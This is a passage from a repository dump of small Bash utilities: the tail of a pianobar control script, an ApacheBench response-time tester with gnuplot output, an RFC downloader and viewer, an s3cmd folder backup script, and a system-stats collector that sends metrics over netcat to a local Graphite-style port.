$(id -u) pianobar$ 54 | printf -- "\n" 55 | } 56 | 57 | # menu stuffs 58 | case $1 in 59 | +|--love|love ) printf "+" > ${PIPE} ;; 60 | -|--ban|ban ) printf "-" > ${PIPE} ;; 61 | b|--bookmark|bookmark ) printf "b" > ${PIPE} ;; 62 | e|--explain|explain ) printf "e" > ${PIPE} ;; 63 | h|--history|history ) printf "h" > ${PIPE} ;; 64 | i|--info|info ) printf "i" > ${PIPE} ;; 65 | n|--next|next ) printf "n" > ${PIPE} ;; 66 | p|--pause|pause ) printf "p" > ${PIPE} ;; 67 | q|--quit|quit ) printf "q" > ${PIPE} ;; 68 | t|--tired|tired ) printf "t" > ${PIPE} ;; 69 | u|--upcoming|upcoming ) printf "u" > ${PIPE} ;; 70 | vd|--voldown|voldown ) printf "(" > ${PIPE} 71 | count=1 72 | while [[ $count -lt $2 ]]; do 73 | printf "(" > ${PIPE} 74 | count=`expr $count + 1` 75 | done 76 | ;; 77 | vu|--volup|volup ) printf ")" > ${PIPE} 78 | count=1 79 | while [[ $count -lt $2 ]]; do 80 | printf ")" > ${PIPE} 81 | count=`expr $count + 1` 82 | done 83 | ;; 84 | * ) help_section ;; 85 | esac 86 | -------------------------------------------------------------------------------- /response_test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 2014 4 | 5 | set -e 6 | set -o pipefail 7 | clear 8 | SDIR="$(cd $(dirname $0) ; pwd)" 9 | NAME=$(basename $0) 10 | 11 | ORN=$(tput setaf 3); RED=$(tput setaf 1) 12 | BLU=$(tput setaf 4); GRN=$(tput setaf 40); CLR=$(tput sgr0) 13 | 14 | version() { 15 | local VER="0.01" 16 | cat </dev/null) ] || 35 | { printf "${RED}[*]${CLR}Missing gnuplot\n"; exit 1; } 36 | [ ! -z $(which ab 2>/dev/null) ] || 37 | { printf "${RED}[*]${CLR}Missing ab\n"; exit 1; } 38 | } 39 | 40 | function create_tempfile() { 41 | GDATA="$(mktemp --tmpdir loadtest.XXXXXX)" || return 0 42 | GSCRIPT="$(mktemp --tmpdir loadtest.XXXXXX)" || return 0 43 | GPNG="$(mktemp --tmpdir loadtest.XXXXXX)" || return 0 44 | trap "rm -rf ${GDATA} ${GSCRIPT} ${GPNG}" 0 1 2 3 9 15 45 | } 46 | 47 | function gather_info() { 48 | FMT="%s%-44s%s" 49 | MNHDR="${BLU}[*]${CLR} " 50 | BDHDR="${RED}[*]${CLR}" 51 | COLHDR="${GRN}[*]${CLR} " 52 | printf "${FMT}" "${MNHDR}" "How many requests (Default 400)" ": " 53 | read REQS 54 | [ -z ${REQS} ] && REQS=400 55 | if [ ${REQS} -ge $(ulimit -n) ]; then 56 | printf "${BDHDR} ulimit is set to $(ulimit -n)\n" 57 | fi 58 | 59 | printf "${FMT}" "${MNHDR}" "How many concurrent connections (Default 10)" ": " 60 | read CONC 61 | [ -z ${CONC} ] && CONC=10 62 | if [ ${CONC} -ge $(cat /proc/sys/net/core/somaxconn) ]; then 63 | printf "${BDHDR} somaxconn is $(cat /proc/sys/net/core/somaxconn)\n" 64 | fi 65 | 66 | printf "${FMT}" "${MNHDR}" "For how long (Default 10 seconds)" ": " 67 | read ABTIME 68 | [ -z ${ABTIME} ] && ABTIME=10 69 | 70 | printf "${FMT}" "${MNHDR}" "URL to test (Default http://localhost)" ": " 71 | read TURL 72 | [ -z ${TURL} ] && TURL="http://localhost" 73 | TURL="`echo ${TURL} | sed -e "s/http:\/\///g" -e "s/\///g"`" 74 | 75 | printf "${FMT}" "${MNHDR}" "Port to test against (Default 80)" ": " 76 | read PORT 77 | [ -z ${PORT} ] && PORT=80 78 | 79 | printf "${FMT}" "${MNHDR}" "Change colors or size of png ? (Default no)" ": " 80 | read YN 81 | case "${YN}" in 82 | [Yy][Ee][Ss]|[Yy]) 83 | printf "${FMT}" "${COLHDR}" "Background color (Default white)" ": " 84 | read _BGCLR 85 | printf "${FMT}" "${COLHDR}" "Border color (Default black)" ": " 86 | read _BDCLR 87 | printf "${FMT}" "${COLHDR}" "Key text color (Default black)" ": " 88 | read _KTXTCLR 89 | printf "${FMT}" "${COLHDR}" "Title color (Default black)" ": " 90 | read _TLCLR 91 | printf "${FMT}" "${COLHDR}" "Grid color (Default grey)" ": " 92 | read _GCLR 93 | printf "${FMT}" "${COLHDR}" "X & Y label color (Default black)" ": " 94 | read _XYCLR 95 | printf "${FMT}" "${COLHDR}" "Change title (Response Testing)" ": " 96 | read _TL 97 | printf "${FMT}" "${COLHDR}" "PNG size (Default 1280,720)" ": " 98 | read _PNGSZ 99 | ;; 100 | [Nn][Oo]|[Nn]|*) ;; 101 | esac 102 | 103 | [ -z ${_BDCLR} ] && _BDCLR="black" 104 | [ -z ${_KTXTCLR} ] && _KTXTCLR="black" 105 | [ -z ${_TLCLR} ] && _TLCLR="black" 106 | [ -z ${_GCLR} ] && _GCLR="#808080" 107 | [ -z ${_BGCLR} ] && _BGCLR="white" 108 | [ -z ${_XYCLR} ] && _XYCLR="black" 109 | [ -z ${_TL} ] && _TL="Response Testing" 110 | [ -z ${_PNGSZ} ] && _PNGSZ="1280,720" 111 | 112 | printf "${CLR}\n" 113 | return 0 114 | } 115 | 116 | function create_GSCRIPT() { 117 | cat > "${GSCRIPT}" << __GNUPLOT__ 118 | set datafile separator '\t' # Use tabs as delimiter 119 | set format x "%S" # *output* format for the x-axis tick labels 120 | set key left top # Where to place the legend/key 121 | set output "${GPNG}" # save file to "${GPNG}" 122 | set size 1,1 # aspect ratio for image size 123 | set terminal png size 1280,720 # output to a 1280x720 png file 124 | set timefmt "%s" # *input* format of the time data 125 | set title "${_TL}" textcolor rgbcolor "${_TLCLR}" # graph title 126 | set xdata time # x-series data is time data 127 | set xlabel "seconds" textcolor rgb "${_XYCLR}" 128 | set ylabel "response time (ms)" textcolor rgb "${_XYCLR}" 129 | set border linecolor rgbcolor "${_BDCLR}" 130 | set key textcolor rgbcolor "${_KTXTCLR}" 131 | set obj 1 rectangle behind from screen 0,0 to screen 1,1 132 | set obj 1 fillstyle solid 1.0 fillcolor rgbcolor "${_BGCLR}" 133 | set style line 11 lc rgb 'black' lt 1 134 | set style line 12 lc rgb 'black' lt 1 135 | set border 3 back ls 11 136 | set grid back ls 12 137 | set grid ytics lt 0 lw 0 lc rgb "${_GCLR}" 138 | set grid xtics lt 0 lw 0 lc rgb "${_GCLR}" 139 | plot "${GDATA}" every ::2 using 2:5 title 'response time' with points 140 | __GNUPLOT__ 141 | } 142 | 143 | function run_ab() { 144 | ab -v 1 -n ${REQS} -c ${CONC} -g "${GDATA}" \ 145 | -t ${ABTIME} "http://${TURL}:${PORT}/" 146 | } 147 | 148 | function create_plot() { 149 | gnuplot ${GSCRIPT} || return $? 150 | GPNG_MV="${NAME%.*}.$(echo `date "+%Y%m%d_%H%M%S"`).png" 151 | mv "${GPNG}" ${GPNG_MV} 152 | GPNG=${GPNG_MV} 153 | printf "\n${BLU}[*]${CLR} Created PNG file: ${RED}${GPNG_MV}${CLR}\n\n" 154 | } 155 | 156 | function main() { 157 | check_platform || return $? 158 | create_tempfile || return $? 159 | gather_info || return $? 160 | create_GSCRIPT || return $? 161 | run_ab || return $? 162 | create_plot 163 | } 164 | 165 | main "$@" 166 | exit $? 167 | -------------------------------------------------------------------------------- /rfc-reader: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # vim:set ts=2 sw=4 noexpandtab: 4 | # 2013 5 | 6 | # todo : 7 | 8 | set -e 9 | set -o pipefail 10 | clear 11 | NAME=$(basename $0) 12 | 13 | version() 14 | { 15 | local VER="0.50" 16 | cat < <####> 39 | ${NAME} 40 | 41 | Usage examples: 42 | ${NAME} name 3334 rfc # displays RFC #3334 name 43 | ex: 3334 Policy-Based Accounting. T. Zseby, S. Zander, C. Carle. October 44 | 2002. (Format: TXT=103014 bytes) (Status: EXPERIMENTAL) 45 | 46 | ${NAME} search rfc # Displays index of matches with RFC #'s 47 | ex: ${NAME} search transport rfc 48 | 49 | 0905 ISO Transport Protocol specification ISO DP 8073. ISO. April 50 | 1984. (Format: TXT=249214 bytes) (Obsoletes RFC0892) (Status: 51 | UNKNOWN) 52 | 53 | 0939 Executive summary of the NRC report on transport protocols for 54 | Department of Defense data networks. National Research Council. 55 | February 1985. (Format: TXT=42345 bytes) (Status: UNKNOWN) 56 | 57 | ${NAME} read 38 fyi # read fyi #38 58 | 59 | ${NAME} latest # shows list of latest rfc's 60 | 61 | EOL 62 | } 63 | 64 | # temp file and trap statement - trap for clean end 65 | case "$(uname 2>/dev/null)" in 66 | 'Linux') TMP_FILE=$(mktemp --tmpdir rfc.$$.XXXXXXXXXX) ;; 67 | 'Darwin') TMP_FILE=$(mktemp rfc.$$.XXXXXXXXXX) ;; 68 | esac 69 | trap "rm -rf ${TMP_FILE}" 0 1 2 3 9 15 70 | 71 | # changing order for function handling 72 | OPTION=$1 73 | NUM=$2 74 | TYPE=$3 75 | 76 | # check if $1 != "search" || -s 77 | case "${OPTION}" in 78 | 'search'|'-s') ;; 79 | 'latest'|'-l') ;; 80 | 'name'|'-n'|'read'|'-r') 81 | # check if $# -ge 2 && $2 is an integer 82 | [ $# -ge 2 ] || { version; descrip; usage; exit 1; } 83 | [ ${NUM} -ne 0 -o ${NUM} -eq 0 2>/dev/null ] || 84 | { version; descrip; usage; exit 1; } 85 | # prepend zeros to make id number <####> 86 | FN=`printf "%04d" ${NUM} | xargs` 87 | ;; 88 | *) version; descrip; usage; exit 1 ;; 89 | esac 90 | 91 | # set $3 to either rfc (default if empty), bcp, fyi, ien, & std 92 | case "${TYPE}" in 93 | 'bcp'|'BCP') ADDRESS="http://www.rfc-editor.org/rfc/bcp/bcp" ;; 94 | 'fyi'|'FYI') ADDRESS="http://www.rfc-editor.org/rfc/fyi/fyi" ;; 95 | 'ien'|'IEN') ADDRESS="http://www.rfc-editor.org/rfc/ien/ien" ;; 96 | 'std'|'STD') ADDRESS="http://www.rfc-editor.org/rfc/std/std" ;; 97 | *) ADDRESS="http://www.rfc-editor.org/rfc/rfc" ;; 98 | esac 99 | 100 | # emulator / viewer settings and checks 101 | if [ ${OPTION} != name ]; then 102 | printf -- "%s\n" "Here are the terminals available, choose one:" 103 | TM=0 104 | [[ -n $(command -v xterm) ]] && { echo xterm; TM=$((TM+1)); } 105 | [[ -n $(command -v mrxvt) ]] && { echo mrxvt; TM=$((TM+1)); } 106 | [[ -n $(command -v urxvt) ]] && { echo urxvt; TM=$((TM+1)); } 107 | 108 | if [ ${TM} -eq 0 ]; then 109 | printf -- "Error: Terminal not found \n\n"; usage; exit 1 110 | else 111 | printf "%s" "Enter Term and press [ENTER]: " 112 | read TERM 113 | TERM=`echo ${TERM} | tr '[:upper:]' '[:lower:]'` 114 | fi 115 | 116 | case "${TERM}" in 117 | 'xterm') EM=$(which xterm 2>/dev/null) 118 | EM_ST="+sb -fg green -bg black -bd green -geometry 75x59 -title" 119 | ;; 120 | 'mrxvt') EM=$(which mrxvt 2>/dev/null) 121 | EM_ST="-bl -hb -aht -fg green -bg black -bd green -g 75x59 -title" 122 | ;; 123 | 'urxvt') EM=$(which urxvt 2>/dev/null) 124 | EM_ST="-fg green -bg black -bd green -g 75x59 -T" 125 | ;; 126 | *) printf -- "Error: Terminal \"${TERM}\" not found \n\n"; usage; exit 1 127 | esac 128 | EM_TITLE="${NAME} - rfc${FN}.txt" 129 | PAGER=`which less` 130 | fi 131 | 132 | # logging function 133 | # output is format : date option num type term # as set in all the option cases 134 | LOGD() 135 | { 136 | LOGFILE=/tmp/$0 137 | printf "%-14s %-8s %-5s %-4s %-4s\n" `date "+%Y%m%d_%H%M"` \ 138 | "[${1}]" "${2}" "${3}" "${4}" >> ${LOGFILE} 139 | } 140 | 141 | # the gooey nougat of the script 142 | case "${OPTION}" in 143 | 'latest'|'-l') 144 | printf -- "%s\n" "Downloading latest rfc list" 145 | curl -f -s http://www.rfc-editor.org/rfc/rfc-index-latest.txt | \ 146 | awk '{line++;print}; /\f/ {for (i=line;i<=80;i++) print ""; line=0}' | \ 147 | sed '/\f/d' > "${TMP_FILE}" 148 | LOGD latest - - ${TERM} 149 | printf -- "%s\n" "Showing latest rfc's" 150 | ${EM} ${EM_ST} "${EM_TITLE}" -e ${PAGER} "${TMP_FILE}" 151 | ;; 152 | 153 | 'name'|'-n') 154 | case "${FN}" in 155 | [0-9]|[0-9][0-9]|[0-9][0-9][0-9]|[0-9][0-9][0-9][0-9]) 156 | curl -s ${ADDRESS}-index.txt | \ 157 | awk '/^'${FN}'/ {do_print=1} do_print==1 {print} NF==0 {do_print=0}' 158 | LOGD name ${NUM} ${TYPE} - 159 | ;; 160 | *) printf -- "Error: unknown parameter '%s'\n" "$2"; usage; exit 1 ;; 161 | esac 162 | ;; 163 | 164 | 'read'|'-r') 165 | if [ -z $(wget -q --spider ${ADDRESS}${NUM}.txt || echo $?) ]; then 166 | printf -- "%s\n" "Downloading ${FN}" 167 | curl -f -s ${ADDRESS}${NUM}.txt | \ 168 | awk '{line++;print}; /\f/ {for (i=line;i<=58;i++) print "";line=0}' | \ 169 | sed '/\f/d' > "${TMP_FILE}" 170 | LOGD read ${NUM} ${TYPE} ${TERM} 171 | printf -- "%s\n" "Showing ${FN}" 172 | ${EM} ${EM_ST} "${EM_TITLE}" -e ${PAGER} "${TMP_FILE}" 173 | else 174 | printf -- "%s\n" "File does not exist or is not TXT. Check RFC # : ${FN}" 175 | usage 176 | fi 177 | ;; 178 | 179 | 'search'|'-s') 180 | F=`echo ${NUM} | head -c 1` 181 | FU=`echo ${F} | tr -s '[:lower:]' '[:upper:]'` 182 | FL=`echo ${F} | tr -s '[:upper:]' '[:lower:]'` 183 | CW=`echo ${NUM} | cut -c2-` 184 | curl -s ${ADDRESS}-index.txt | \ 185 | awk 'BEGIN{FS="\n";RS="";ORS="\n\n"}/'[${FU}${FL}]${CW}'/' >"${TMP_FILE}" 186 | LOGD search ${NUM} - - 187 | printf -- "%s\n" "Showing search for '${FL}${CW}'" 188 | ${EM} ${EM_ST} "${EM_TITLE}" -e ${PAGER} "${TMP_FILE}" 189 | ;; 190 | 191 | *) printf -- "\n"; usage; exit 1 ;; 192 | esac 193 | -------------------------------------------------------------------------------- /s3_folderbackup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | ###### 5 | # this script uses s3cmd from http://s3tools.org/s3cmd to sync a folder in linux to s3 6 | # 7 | # make sure that you have configured s3cmd by running s3cmd --configure 8 | # 9 | # this script is usally kept in a cron to be run every x amount of hours 10 | ###### 11 | 12 | S3CMD=`which s3cmd` 13 | S3CMD_OPTIONS="--recursive put" 14 | BKUP_PATH=CHANGE THIS TO PATH WHERE FOLDERS ARE LOCATED 15 | BUCKET=s3://CHANGE THIS TO S3 BUCKET NAME FROM "s3cmd ls"/ 16 | LIST=/tmp/S3CMD.$$ 17 | DIR=/tmp/DIR.$$ 18 | touch $LIST $DIR 19 | 20 | #### you should not have to change anything below this line #### 21 | 22 | # check if s3cmd exists 23 | if [[ -z ${S3CMD} ]]; then 24 | printf "\ns3cmd not found.\nInstall s3cmd from http://s3tools.org/s3cmd\n" 25 | exit 1 26 | fi 27 | 28 | # use s3cmd to print a list of existing folders in bucket 29 | ${S3CMD} la > ${LIST} 30 | 31 | # check if folders in $BKUP_PATH exist in s3, if not then copy them there 32 | for DIR_CHECK in `ls -al ${BKUP_PATH} | awk '{print $9}' | tail -n +4 | tr '/' ' ' ` ; do 33 | if [[ $(grep -c $DIR_CHECK $LIST) -gt 0 ]]; then 34 | printf "\n${DIR_CHECK} exists in s3." 35 | else 36 | printf "\n${DIR_CHECK} does not exist at s3." 37 | printf "\nadding now:\n" 38 | ${S3CMD} ${S3CMD_OPTIONS} ${BKUP_PATH}/${DIR_CHECK} ${BUCKET} 39 | fi 40 | done 41 | 42 | # delete temporary files 43 | rm -rf $LIST 44 | rm -rf $DIR 45 | -------------------------------------------------------------------------------- /sysstat.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | HOSTNAME=`echo $HOSTNAME | cut -d. -f1` 4 | ENV=`echo $HOSTNAME | cut -d. -f1 | cut -d- -f1` 5 | ENV_TOT="${ENV}_sysstats" 6 | GSERVER="127.0.0.1" 7 | GPORT="8080" 8 | DATE=`date +%s` 9 | 10 | [ ! -z $(which nc) ] && NETCAT=`which nc` || 11 | { printf "\nnc not found.\n" ; exit 1 ; } 12 | 13 | eval $(vmstat 1 2 | sed -n '/[0-9]/p' | sed -n '2p' | \ 14 | awk '{printf "CPU_ID=%s; CPU_SY=%s; CPU_US=%s; CPU_WA=%s;", $15,$14,$13,$16};\ 15 | {printf "SWAP_SI=%s; SWAP_SO=%s;", $7,$8}; \ 16 | {printf "MEM_BUF=%s; MEM_CCH=%s; MEM_FRE=%s; MEM_SWP=%s;", $5,$6,$4,$3};' -) 17 | 18 | eval $(df | awk 'NR==2 {printf "DISK_FREE=%s; DISK_TOTL=%s; DISK_USED=%s;", \ 19 | $4*1000,$2*1000,$3*1000};' -) 20 | 21 | eval $(cat /proc/loadavg | awk '{printf "LOAD1=%s; LOAD5=%s; LOAD15=%s;", \ 22 | $1,$2,$3};' -) 23 | 24 | eval $(free -b | \ 25 | awk '/^Mem/ {printf "RAM_FREE=%s; RAM_TOTL=%s; RAM_USED=%s;", $4,$2,$3}; \ 26 | /^Swap/ {printf "RAM_SWAP_FREE=%s; RAM_SWAP_TOTL=%s; RAM_SWAP_USED=%s;", \ 27 | $4,$2,$3};' -) 28 | 29 | USERS=`uptime | sed 's/users.*$//' | gawk '{print $NF}'` 30 | 31 | STATN="cpu.idle_CPU_ID cpu.systime_CPU_SY cpu.usertime_CPU_US cpu.wait-IO_CPU_WA 32 | swap.swapped-in_SWAP_SI swap.swapped-to_SWAP_SO 33 | mem.buffers_MEM_BUF mem.cache_MEM_CCH mem.virtfree_MEM_FRE mem.virtswap_MEM_SWP 34 | disk.free_DISK_FREE disk.total_DISK_TOTL disk.used_DISK_USED 35 | load.1-minute_LOAD1 load.5-minutes_LOAD5 load.15-minutes_LOAD15 36 | mem.free_RAM_FREE mem.total_RAM_TOTL mem.used_RAM_USED 37 | swap.free_RAM_SWAP_FREE swap.total_RAM_SWAP_TOTL swap.used_RAM_SWAP_USED 38 | users_USERS" 39 | 40 | for statn in $STATN; do 41 | ID=`echo $statn | cut -d_ -f1` ; IDVAL=$(echo $statn | cut -d_ -f2-5) 42 | SNAME=${ENV_TOT}.${HOSTNAME} 43 | echo "${SNAME}.${ID} `eval echo '$'${IDVAL}` ${DATE}" | \ 44 | ${NETCAT} ${GSERVER} ${GPORT} 45 | done 46 | --------------------------------------------------------------------------------